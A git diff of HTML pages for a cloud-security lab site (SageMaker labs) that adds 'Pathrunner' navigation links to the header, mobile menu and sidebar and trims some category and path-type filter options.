+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/sagemaker-001/index.html b/docs/labs/sagemaker-001/index.html
index e9984010..351fa3b2 100644
--- a/docs/labs/sagemaker-001/index.html
+++ b/docs/labs/sagemaker-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/sagemaker-002/index.html b/docs/labs/sagemaker-002/index.html
index c59619ef..08fd4254 100644
--- a/docs/labs/sagemaker-002/index.html
+++ b/docs/labs/sagemaker-002/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/sagemaker-003/index.html b/docs/labs/sagemaker-003/index.html
index 719c4827..7541d1f7 100644
--- a/docs/labs/sagemaker-003/index.html
+++ b/docs/labs/sagemaker-003/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/sagemaker-004/index.html b/docs/labs/sagemaker-004/index.html
index 4d0ef949..7c9bbdac 100644
--- a/docs/labs/sagemaker-004/index.html
+++ b/docs/labs/sagemaker-004/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/sagemaker-005/index.html b/docs/labs/sagemaker-005/index.html
index e1ade83c..9f365df6 100644
--- a/docs/labs/sagemaker-005/index.html
+++ b/docs/labs/sagemaker-005/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
